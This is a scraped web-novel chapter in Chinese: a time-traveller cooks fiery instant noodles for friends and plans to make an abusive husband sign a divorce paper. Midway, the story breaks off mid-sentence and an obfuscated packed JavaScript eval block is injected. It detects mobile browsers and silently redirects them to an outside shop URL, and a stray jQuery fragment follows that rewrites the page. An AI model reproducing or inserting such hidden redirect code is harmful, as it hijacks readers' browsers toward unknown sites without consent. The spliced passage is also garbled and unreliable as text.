向铁山被死死按压在墙壁上,身后的萧珩声音冷淡:“现在可以说你为何伤人了吗?”
向铁山还是嘴上不饶人:“要你多管闲事,把老子放开,否则有你好看!”
辛红追上来,看见眼前这一幕呆了呆。
向兰欣捏着小拳头喊:“坏爹爹,爹爹坏,漂亮哥哥打爹爹!”
向铁山扭头冲向兰欣凶狠道:“你个小兔崽子,上次喂你老子吃冰块,等回家看我不把你屁股打开花!”
向兰欣被吓到了,赶紧躲在辛红身后。
眼见这个地痞是个不老实的,萧珩也懒得再跟他废话,一手刀砍在向铁山脖子上,把向铁山砍晕了过去。
薛凡清见状一笑:“红姐,就让你相公再在大街上睡一天吧。”
辛红看着软软倒在地上的向铁山,心里又是畅快又是不安。
-
辛红这段时间卖气球赚了不少,因为吃住都在别苑,便付了吃饭的生活费给薛凡清,薛凡清接受了。
这会儿碰到萧珩,她便要付住宿费给萧珩,萧珩拒绝了:“辛姑娘,既然你是小清的朋友,也就是我的朋友,借个宿而已,不用太客气。”
辛红只好口头答谢一番。
再过几天,等赚够租房子的钱,她就会带向兰欣离开。
想到如果不能跟向铁山和离,以后他必定还会来纠缠不清,辛红便重重地叹了口气,说:“我这是躲得过初一,躲不过十五啊。”
薛凡清明白辛红在担忧什么,也忍不住吐槽:“这乾朝也真够落后的,法律不完善,还搞男女不平等那一套,文明未开化,世道艰难,皇帝昏庸啊。”
萧珩心口仿佛被重击一拳,半天说不出话来。
辛红忙道:“小薛,你小点声,这种话不能乱说,被官府的人听见了是要杀头的。”
薛凡清不以为意:“怕什么,你们都是我朋友,只要你们不举报我,这些话谁能知道。”
辛红小小声说:“我听说皇宫里明面上是皇帝坐镇,但其实是太后在把持朝政。”
薛凡清皱了眉:“太后把持朝政?那不就是外戚宦官专权吗,皇帝也不容易啊。”
萧珩诧异地看了薛凡清一眼,寻常老百姓并不会说这样的话。
文太后不就是因为有掌握了军政大权的娘家兄弟撑腰,而宫内那批宦官又是她的眼线,自己才被她架空的吗。
萧珩胸中一阵淤堵。
薛凡清已经转向了其他话题:“红姐,放妻书这种东西是不是只要签了字按了手印就有效?”
辛红:“是的,但向铁山肯定不会签。”
薛凡清若有所思。
-
第二天中午,薛凡清对围坐在石桌边的一众人道:“今中午的午餐我决定整点爆辣的,你们愿意接受爆辣挑战吗?”
陆神医一下来了兴趣:“小薛,你不是唬我们吧。”
薛凡清说:“神医,你之前不是一直说我做的东西不够辣吗,泡椒味的五香面你觉得不够辣,麻辣烫你也觉得不够辣,今天我就让你们见识一下什么叫真正的辣。”
陆神医兴奋地搓了搓手:“小薛,你知道老夫嘴淡,喜欢吃味儿重的东西,甭管什么辣,你尽管上。”
章天附和道:“对,清哥哥,我们都喜欢吃辣的,爆辣肯定不在话下。”
柳叶刀嗤之以鼻:“薛小弟,你之前说螺蛳粉辣,我上次吃螺蛳粉把辣油都放完了,也没觉得有多辣啊。”
薛凡清脸上露出意味深长的笑容:“柳叶刀,如果这次我做的东西真让你觉得辣了,你该当如何?”
柳叶刀说:“我就当你一天小弟任你使唤。”
薛凡清猛拍大腿:“好!”
薛凡清准备下午陪辛红去找向铁山签放妻书,本想直接开口求柳叶刀帮忙,但又不想欠多了人情,便提出爆辣挑战,这样可以顺理成章地使唤柳叶刀。
为了下午的计划,今天上午她和辛红都没有出去摆摊,两人商量了一上午决定强迫向铁山签放妻书。
今天中午便是爆辣速食大乱炖,薛凡清在商城里买了爆辣的新疆炒米粉、某养双倍辣火鸡面、番茄鸡蛋牛肉面和美好火腿肠,又在外卖商城里下单了某氏鸭脖特辣素菜套餐。
呵呵,让你们尝尝什么叫变态辣。
薛凡清自己能够接受的辣度是中辣,微辣适口,特辣爆辣什么的她从不敢挑战,所以番茄鸡蛋味的方便面和火腿肠是她给辛红、向兰欣和自己准备的。
一切就绪后,辛红帮着端菜出来。
一老一少一小看着摆放在石桌中央的三份主菜,不约而同地吸溜了一下口水。
只见那新疆炒米粉粉条根根粗壮,浸泡在香料复杂的酱汁中,酱色红亮,散发出浓厚的酱香味。
而那火鸡面面条根根粗韧,汤汁收敛呈黏糊状,红艳艳的一看就让人胃口大开。
还有一盆像麻辣烫又不像麻辣烫的杂菜裹在红亮浓稠的汤汁里,香气辣中带卤香。
三位男性都迫不及待地伸出筷子,吃了一段时间的中餐,他们是真想念这重口味啊。
柳叶刀先吃的炒米粉,米粉软糯劲道,浓郁挂汁,咽下去后有一股猛烈的辣味从舌根窜上舌尖,他忍不住吐了吐舌头。
这米粉着实有点辣啊,但口感和滋味也是真不错啊。
章天指着火鸡面问薛凡清:“清哥哥,为什么这面叫火鸡面呢,火鸡是什么鸡?”
薛凡清胡说八道:“火鸡是一种能够吐火的鸡,所以用火鸡熬制出来的汤料够辣,吃进嘴里感觉像着了火一样。”
章天扯了扯唇:“清哥哥,你能别把我当三岁小孩吗,这世上哪有能吐火的鸡。”
出于对名字的好奇,章天第一筷吃的是火鸡面,火鸡面入口带一丝奇异的甜,但这丝甜很快被尖锐的辣冲散。
刚咽下去第一口面,章天就感觉口中像着了火,赶紧拿过茶杯喝水。
但章天感觉这面有毒,虽然辣,他吃了一口却还想吃第二口,吃了第二口还想吃第三口......
陆神医则是被某氏素菜辣得直嘶气,只觉这辣实在太过凶猛,像涂了香料的刀子直捅进肚子,却让人心
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17917122|213363||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
甘情愿被捅。
吃到后面,他舌头被辣得近乎麻木。
这边三人专心吃自己的面,没吃过方便面和火腿肠的辛红和向兰欣都是一脸陶醉,只觉今日这碗面好吃得她们想流泪。
但是看到对面三个人吃得满头大汗淋漓,一边喝水又一边停不下来,向兰欣也跃跃欲试地伸出筷子想夹桌子上的米粉。
薛凡清见状立马拦住了她的筷子:“小欣不可,你吃了肚肚会痛的。”
小孩子肠胃娇嫩,经受不住这种程度的辣。
向兰欣听话地收回筷子,继续喝自己碗里的面汤,面汤酸酸甜甜的,她喝得滴汁不剩。
两刻钟后,章天率先停下筷子:“不行,太辣了,我受不了了。”
薛凡清笑吟吟道:“小天,吃饱了吗,没吃饱的话我再去给你煮碗面。”
“饱了饱了。”章天趴在桌上,不停地哈气。
很快陆神医也停了筷子,把碗一推,双手抱臂,一脸的怀疑人生。
一百块老姜都没薛凡清今天提供的这些东西辣,但这些辣味从何而来,他却不好问。
柳叶刀放下筷子时还有些恋恋不舍,说:“好吃,就是太辣了。”
薛凡清抬了抬眉:“服吗,今天能任我使唤吗?”
柳叶刀不得不承认今天的辣味实在够劲:“服,到明天这个时候为止,我任你使唤。”
薛凡清说:“好,那我们就来聊聊下午的事。”
-
听完薛凡清和辛红的叙述,柳叶刀安然接受了薛凡清给自己安排的任务,不就是强迫个家暴男签放妻书吗。
这事他以前还真替富家女干过,只不过对方给了不低的报酬。
“带路。”柳叶刀伸手往前一指。
辛红赶紧牵着向兰欣走在前面带路。
到村口时,向兰欣有些瑟缩,抬头对辛红道:“娘亲,我怕,我不想回家。”
辛红摸她的头,安慰道:“别怕,柳哥哥和清哥哥都在呢,没人敢欺负小欣。”
辛红的家离村口不远,路上,有出村的农妇见到辛红跟她打招呼:“辛红,你可算回来了,你相公这几日都在家里发脾气呢,走你家门前过都能听见。”
辛红笑笑:“嗯,我回来跟我相公说点事。”
农妇看了一眼辛红身边的柳叶刀和薛凡清,面上表情一时变幻莫测。
她听说辛红发达了在外面勾搭上了别的男人,原以为是以讹传讹,今日一见,果真如此,还不止勾搭一个,竟然勾搭了两个!
世风日下啊,农妇啧啧两声,边走边回头看。
辛红和向铁山的家是一个破落的土坯房,带一间围墙半塌的院子,院里除了墙角冒出来的杂草,别无生机。
屋里也几乎是家徒四壁,一眼看过去只有几张桌椅板凳和一架放在角落的床,床边有一只矮柜。
四人进屋后,向铁山正躺在床上,抖着腿嗑瓜子,瓜子皮就丢在床上。
听到动静,向铁山抬眼看向门口,动作一顿,立马发作起来:“辛红,你还敢回来!”